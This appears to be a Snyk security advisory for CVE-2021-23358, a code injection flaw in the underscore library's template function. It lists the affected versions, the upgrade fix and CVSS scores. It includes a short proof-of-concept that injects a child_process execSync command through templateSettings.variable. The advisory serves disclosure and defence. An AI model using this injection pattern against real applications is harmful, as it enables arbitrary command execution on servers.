

Arbitrary Code Injection

Affecting org.webjars.npm:underscore package, versions [0,1.13.1)

INTRODUCED: 2 MAR 2021 CVE-2021-23358 ⓘ CWE-94 ⓘ

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How to fix?

Upgrade org.webjars.npm:underscore to version 1.13.1 or higher.

Overview

org.webjars.npm:underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the `template` function, particularly when the `variable` option is taken from `_.templateSettings` as it is not sanitized.

PoC

```
const _ = require('underscore');
_.templateSettings.variable = "a =
this.process.mainModule.require('child_process').execSync('touch HELLO');
const t = _.template("");
```

References

- GitHub Additional Information
- GitHub Commit

MEDIUM

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Snyk CVSS

Exploit Maturity	Proof of concept ⓘ
Attack Complexity	High ⓘ
Privileges Required	HIGH ⓘ
Confidentiality	HIGH ⓘ

[See more](#)

> NVD 7.2 HIGH

> Red Hat 7.2 HIGH

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Snyk ID	SNYK-JAVA-ORGWEBJARSNPM-1081503
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Disclosed	2 Mar 2021
Credit	Alessio Della Libera (@d3lla)

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